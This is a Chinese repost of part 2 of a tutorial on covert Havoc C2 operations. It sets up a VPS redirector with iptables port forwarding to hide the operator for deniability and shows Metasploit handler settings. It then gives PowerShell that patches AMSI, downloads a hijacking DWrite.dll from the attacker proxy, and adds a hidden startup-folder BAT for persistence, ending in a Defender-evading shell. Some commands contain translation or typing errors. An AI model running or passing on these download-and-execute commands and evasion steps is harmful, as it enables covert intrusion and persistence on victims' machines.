2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

admin 2024年2月11日23:10:19评论19 views字数 6509阅读21分41秒阅读模式

这篇文章是第 1 部分的延续,我们通过启用 AV 的 DLL 劫持成功执行了 Havoc C2 反向 shell。现在,我们将做更多的事情来使我们的漏洞利用更加完整:

  • 使用重定向器服务器通过端口转发隐藏我们的团队服务器(命令和控制服务器)的真实位置

  • 将可执行文件和DLL放在一个普通的程序文件夹中,并在用户登录时启动以实现持久化

155

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

隐藏我们 Havoc Team 服务器的位置

我们需要做的第一件事是隐藏 C2 服务器的真实位置。基本上,我们将有一个代理机器,将所有内容转发到我们的命令和控制服务器。这样做是为了更改您的原籍国,如果您使用借记卡/信用卡购买了强大且持久的 C&C 服务器,则隐藏您的姓名,长期保护基础设施,并最终保持可否认性和不归属性。有一些方法可以匿名购买 VPS 基础设施,并且只需很少的财务投资。您还可以使用多个代理,或者只是通过 TOR 网络从初始代理中继连接。如果您想了解如何操作,以下是如何在 DigitalOcean 上运行我们的代理服务器的 kali linux 无头实例。每月只需 6 美元左右。

Team Server 和客户端将在 C&C 服务器上运行。我们在代理服务器上运行的唯一内容是从受害者主机到 C&C 服务器的端口转发。在我们的例子中,我们将把所有内容分别转发到代理服务器上的端口 8443、80 和 443 到 C&C 服务器上的端口 50000、50001 和 50002。

受害者主机→代理(带公共 IP 的 DigitalOcean droplet)服务器→ C&C 服务器

因此,我们需要从本文的第 1 部分更改漏洞利用中的一些地址:

步骤1) 受害者通过端口 80 从代理服务器下载iloveblogs.bin shellcode(第 1 阶段)并将其加载到内存中。在幕后,我们的iloveblogs.bin shellcode 实际上是从我们的 C&C 服务器端口 50000 加载并发送到代理的。我们需要使用代理服务器公共 IP 生成一个新的iloveblogs.bin,以便在执行阶段 1 时,它知道要连接到代理主机公共 IP:

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

我们还需要更改DWrite.dll,以便它从代理服务器公共 IP 中获取iloveblogs.bin文件:

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

步骤2) 受害者执行第 1 阶段有效负载 (iloveblogs.bin),→从代理服务器上的端口 8443 (demon.x64.bin) 下载第 2 阶段有效负载。在幕后,我们的 demon.x64.bin shellcode 实际上是从我们的 C&C 服务器加载并发送到代理的。

以下是 C&C 服务器上 multi/listener 的选项:

    • use multi/handler

    • set payload windows/x64/custom/reverse_https

    • set exitfunc thread

    • set lhost <ATTACKER LOCAL IP> # 192.168.0.64 in my case

    • set lport 50001 # port forward from 8443 on proxy to 50001 on C&C

    • set luri blog.html

    • set HttpServerName Blogger

    • set shellcode_file demon.x64.bin

    • set exitonsession false

    • set HttpHostHeader www.factbook.com

    • set HandlerSSLCert www.google.com.pem

    • run

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

步骤3) 在受害者上执行的第 2 阶段连接,并且 C2 已建立到端口 443 (Havoc C2) 代理服务器。在后台,我们的 Havoc C2 会话是在端口 50002 上与我们的 C&C 服务器建立的。

我们需要通过端口 443 将侦听器(创建demon.x64.bin)更改为代理服务器的公共 IP,但在端口 50002 上连接到我们的 C&C 服务器专用 IP。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

Havoc C2 监听器

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

Havoc C2 有效载荷

这将创建我们的demon.x64.bin文件,该文件将由我们的 C&C 服务器上的 Metasploit multi/listener 提供,并由我们的代理服务器为受害者抓取。

端口转发

以下是我们如何将所有内容从代理服务器 linux droplet 双向转发到 C&C 服务器。将下面的 C&C IP 地址替换为您自己的 IP 地址。

  • 代理服务器面向公共的接口:eth0

  • C&C服务器公共IP地址:2.2.2.2

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

代理服务器地址

在代理服务器 droplet 上运行以下命令:

打开端口转发

sudo nano /etc/sysctl.conf

uncomment this line : net.ipv4.ip_forward=1

sudo sysctl -p

sudo sysctl — system

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

在端口 80、8443 和 443 上接受来自面向公众的接口的连接,用于新连接和已建立连接

sudo iptables -A FORWARD -i eth0 -o eth0 -p tcp — syn — dport 80 -m conntrack — ctstate NEW -j ACCEPT

sudo iptables -A FORWARD -i eth0 -o eth0 -p tcp — syn — dport 8443 -m conntrack — ctstate NEW -j ACCEPT

sudo iptables -A FORWARD -i eth0 -o eth0 -p tcp — syn — dport 443 -m conntrack — ctstate NEW -j ACCEPT

sudo iptables -A FORWARD -i eth0 -o eth0 -m conntrack — ctstate ESTABLISHED,RELATED -j ACCEPT

用于从端口 50000 上的 C&C 服务器获取 iloveblogs.bin(第 1 阶段)shellcode

sudo iptables -t nat -A PREROUTING -i eth0 -p tcp — dport 80 -j DNAT — to-destination 2.2.2.2:50000
sudo iptables -t nat -A POSTROUTING -o eth0 -p tcp — dport 50000 -d 2.2.2.2 -j MASQUERADE

用于从端口 50001 上的 C&C 服务器获取demon.x64.bin(第 2 阶段)shellcode

iptables -t nat -A PREROUTING -i eth0 -p tcp — dport 8443 -j DNAT — to-destination 2.2.2:50001
sudo iptables -t nat -A POSTROUTING -o eth0 -p tcp — dport 50001 -d 2.2.2.2 -j MASQUERADE

用于在端口 50002 上建立与 C&C 服务器的 Havoc C2 连接

iptables -t nat -A PREROUTING -i eth0 -p tcp — dport 443 -j DNAT — to-destination 2.2.2.2:50002
sudo iptables -t nat -A POSTROUTING -o eth0 -p tcp — dport 50002 -d 2.2.2.2 -j MASQUERADE

指定默认情况下,应丢弃(忽略)与 FORWARD 链中上述任何特定规则不匹配的任何数据包,而不是转发

sudo iptables -P 前向丢弃

作为概念验证,您可以将家庭路由器配置上的端口 50000、50001 和 50002(从代理服务器发送)转发到 Kali 虚拟机上的端口 50000、50001 和 50002(在我的情况下为 192.168.0.64),这就是我所做的。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

此时,在C&C服务器上设置所有监听站,您可以使用简单的代理服务器转发和接收您的所有请求。

开发链示例

因此,现在我们已经设置了隐藏自己的基础结构,让我们回顾一下一个利用链,我们可以使用它来使用 DLL 劫持可执行文件在 Windows 机器上实际维护持久性。

  1. 通过凭据或物理访问获得受害者的管理员访问权限

  2. 在 PowerShell 中执行amsi.dll内存修补程序绕过

  3. 抓取DLL和可执行文件(SumatraPDF-3.5.2-install.exe)并放入“C:Program Files”文件夹

  4. 创建BAT文件,该文件将从隐藏窗口中的“C:Program Files”加载我们的可执行文件(和DLL)

  5. 将 BAT 文件放在启动目录中,以便在用户每次登录时运行

我们将假设第 1 步是通过一些先前的利用完成的,或者我们可以物理访问受害者的计算机。

PowerShell 中的amsi.dll内存修补程序绕过

首先,我们要么在 GUI 上打开管理员 PowerShell 会话,要么使用反向 shell 单行代码升级到 PowerShell,要么使用提供的管理员凭据的 runascs。然后,我们执行 AMSI 内存修补脚本,以便我们可以在当前 PowerShell 进程内存中运行任何内容,并且它不会被 AV 标记。我这样做只是为了以防万一。看看我的 AMSI Bypass 帖子 如果你不知道怎么做。

抓取DLL和可执行文件(SumatraPDF-3.5.2-install.exe)并放入“C:Program Files”文件夹

我们需要创建SumatraPDF目录。然后,我们从实际的供应商网站中获取我们的普通可执行文件,从我们的代理中获取恶意DLL,并将它们放在“C:Program FilesSumatraPDF”目录中。

New-Item -ItemType Directory -Path ‘C:Program FilesSumatraPDF’

(New-Object System.Net.WebClient).DownloadFile(‘http://[proxy public IP]/DWrite.dll’, ‘C:Program FilesSumatraPDFDWrite.dll’)
(New-Object System.Net.WebClient).DownloadFile(‘https://www.sumatrapdfreader.org/dl/rel/3.5.2/SumatraPDF-3.5.2-64-install.exe', ‘C:Program FilesSumatraPDFSumatraPDF-3.5.2–64-install.exe’)

创建BAT文件,该文件将从隐藏窗口中的“C:Program Files”加载我们的可执行文件(和DLL)

然后,我们创建一个名为 SumatraPDFInstall.bat 的批处理脚本,该脚本将在用户每次登录时运行,但有一个隐藏的窗口。

@echo off
set “executablePath=C:Program FilesSumatraPDFSumatraPDF-3.5.2–64-install.exe”

start /min “” “%executablePath%”

将 BAT 文件放在启动目录中,以便在用户每次登录时运行

现在,我们可以远程抓取我们的 BAT 文件并将其放在启动文件夹中,以便在用户每次登录时执行。

Invoke-WebRequest -Uri “http://[proxy public IP]/SumatraPDFInstall.bat” -OutFile “$env:TEMPSumatraPDFInstall.bat”
Copy-Item -Path “$env:TEMPSumatraPDFInstall.bat” -Destination “$env:APPDATAMicrosoftWindowsStart MenuProgramsStartup” -Force
Remove-Item “$env:TEMPSumatraPDFInstall.bat”

让我们将所有这些放在一个名为 notstrange.ps1 的 PowerShell 脚本中,我可以使用代理服务器的公共 IP 地址,并使用已在端口转发的端口 80。

iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire “iex(New-Object System.Net.WebClient).DownloadString(‘http://[proxy public IP]/ammy.ps1’)”
New-Item -ItemType Directory -Path ‘C:Program FilesSumatraPDF’
(New-Object System.Net.WebClient).DownloadFile(‘http://[proxy public IP]/DWrite.dll’, ‘C:Program FilesSumatraPDFDWrite.dll’)
(New-Object System.Net.WebClient).DownloadFile(‘https://www.sumatrapdfreader.org/dl/rel/3.5.2/SumatraPDF-3.5.2-64-install.exe', ‘C:Program FilesSumatraPDFSumatraPDF-3.5.2–64-install.exe’)
Invoke-WebRequest -Uri “http://[proxy public IP]/SumatraPDFInstall.bat” -OutFile “$env:TEMPSumatraPDFInstall.bat”
Copy-Item -Path “$env:TEMPSumatraPDFInstall.bat” -Destination “$env:APPDATAMicrosoftWindowsStart MenuProgramsStartup” -Force
Remove-Item “$env:TEMPSumatraPDFInstall.bat”确保您的 Havoc C2 基础设施正在运行,并且所有内容都转发到应有的位置。在受害者 PowerShell 终端中,运行以下命令,即可完成所有设置:

iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire “iex(New-Object System.Net.WebClient).DownloadString(‘http://[Proxy public IP]/notstrange.ps1')”

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

我们看到amsi.dll绕过成功(返回 true),并创建了目录“C:Program Files”。我们的文件也是通过我们 C&C 服务器上的代理服务器抓取的。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

然后当用户登录时...

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

我们看到可执行文件在用户之外的底部菜单上正常运行。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

我们的iloveblogs.bin阶段 1 有效负载是通过代理服务器从我们的 http 服务器下载的。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

然后,使用端口 8443 通过代理服务器下载阶段 2 有效负载。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

我们收到了一个 Havoc C2 外壳。所有这些都在defender运行的情况下运行,并且不会实时或从系统文件扫描中检测到任何内容。

2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

还有其他方法可以使我的 PowerShell 脚本对 EDR 更加隐蔽,但这将绕过大多数 AV。在这里,您可以看到我处于中等完整性 shell 中,但 vboxuser 是管理员组的成员。我们可以执行一些 UAC 绕过,以便相当容易地获得高完整性 shell,尤其是在我们有凭据的情况下。将加密合并到我所有的 notstrange.ps1 Web 请求中,并使用 multi/listener 将是有益的,甚至可以将其全部托管在 PageKite 上,这可能看起来比我托管所有内容的代理 IP 更不可疑。试试看!我希望你喜欢这篇文章!

英文原文:

Havoc C2 with AV/EDR Bypass Methods in 2024 (Part 2) | by Sam Rothlisberger | Feb, 2024 | Medium

  • ()

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • windows

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • windows()

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • USB()

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • ()

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • ios

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • windbg

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • ()

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • 2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

原文始发于微信公众号(安全狗的自我修养):2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月11日23:10:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024 年最新基于 Havoc C2的 AV/EDR 绕过方法(二)https://cn-sec.com/archives/2487663.html

发表评论

匿名网友 填写信息